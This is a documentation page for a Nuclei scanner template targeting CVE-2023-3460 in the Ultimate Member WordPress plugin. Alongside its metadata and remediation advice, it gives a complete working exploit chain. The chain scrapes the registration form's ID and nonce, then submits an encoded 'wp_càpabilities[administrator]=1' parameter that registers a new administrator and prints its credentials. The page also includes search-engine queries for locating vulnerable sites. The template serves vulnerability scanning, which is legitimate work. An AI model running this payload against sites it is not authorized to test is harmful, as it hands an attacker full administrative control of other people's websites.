Ultimate Member < 2.6.7 - Unauthenticated Privilege Escalation
ID: CVE-2023-3460
Severity: critical
Author: DhiyaneshDk
Tags: cve,cve2023,wordpress,wp,wp-plugin,auth-bypass,intrusive,wpscan,ultimatemember
Description
Section titled “Description”The plugin does not prevent visitors from creating user accounts with arbitrary capabilities, effectively allowing attackers to create administrator accounts at will. This is actively being exploited in the wild.
YAML Source
Section titled “YAML Source”id: CVE-2023-3460
info: name: Ultimate Member < 2.6.7 - Unauthenticated Privilege Escalation author: DhiyaneshDk severity: critical description: | The plugin does not prevent visitors from creating user accounts with arbitrary capabilities, effectively allowing attackers to create administrator accounts at will. This is actively being exploited in the wild. impact: | Unauthenticated users can gain unauthorized access and perform actions with elevated privileges. remediation: | Upgrade to Ultimate Member version 2.6.7 or later. reference: - https://github.com/gbrsh/CVE-2023-3460 - https://nvd.nist.gov/vuln/detail/CVE-2023-3460 - https://wpscan.com/vulnerability/694235c7-4469-4ffd-a722-9225b19e98d7 - https://blog.wpscan.com/hacking-campaign-actively-exploiting-ultimate-member-plugin/ - https://wordpress.org/plugins/ultimate-member/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-3460 cwe-id: CWE-269 epss-score: 0.06326 epss-percentile: 0.93621 cpe: cpe:2.3:a:ultimatemember:ultimate_member:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 4 vendor: ultimatemember product: ultimate_member framework: wordpress shodan-query: http.html:/wp-content/plugins/ultimate-member fofa-query: body=/wp-content/plugins/ultimate-member publicwww-query: /wp-content/plugins/ultimate-member google-query: inurl:/wp-content/plugins/ultimate-member tags: cve,cve2023,wordpress,wp,wp-plugin,auth-bypass,intrusive,wpscan,ultimatemembervariables: username: "{{rand_base(6)}}" password: "{{rand_base(8)}}" email: "{{randstr}}@{{rand_base(5)}}.com" firstname: "{{rand_base(5)}}" lastname: "{{rand_base(5)}}"
http: - raw: - | GET /wp-content/plugins/ultimate-member/readme.txt HTTP/1.1 Host: {{Hostname}} - | GET /index.php/register/?{{version}} HTTP/1.1 Host: {{Hostname}} - | GET {{path}} HTTP/1.1 Host: {{Hostname}} - | POST {{path}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
user_login-{{formid}}={{username}}&user_email-{{formid}}={{email}}&user_password-{{formid}}={{password}}&confirm_user_password-{{formid}}={{password}}&first_name-{{formid}}={{firstname}}&last_name-{{formid}}={{lastname}}&form_id={{formid}}&um_request=&_wpnonce={{wpnonce}}&wp_c%C3%A0pabilities%5Badministrator%5D=1
matchers: - type: dsl dsl: - contains(to_lower(body_1), "ultimate member") - regex("wordpress_logged_in_[a-z0-9]{32}", header_4) - status_code_4 == 302 condition: and
extractors: - type: regex name: path part: location_2 group: 1 regex: - '([a-z:/.]+)' internal: true
- type: regex name: version part: body_1 group: 1 regex: - '(?i)Stable.tag:\s?([\w.]+)' internal: true
- type: regex name: formid part: body_3 group: 1 regex: - 'name="form_id" id="form_id_([0-9]+)"' internal: true
- type: regex name: wpnonce part: body_3 group: 1 regex: - 'name="_wpnonce" value="([0-9a-z]+)"' internal: true
- type: dsl dsl: - '"WP_USERNAME: "+ username' - '"WP_PASSWORD: "+ password'# digest: 4a0a00473045022100b4d0a252fabb53abd2f8ea568420b70927e456cea260231f40c528e768c7d95c022028a4b635c5671832547fe0992771b6ddd8be185b0bb31009066de38ee655f22f:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-3460.yaml"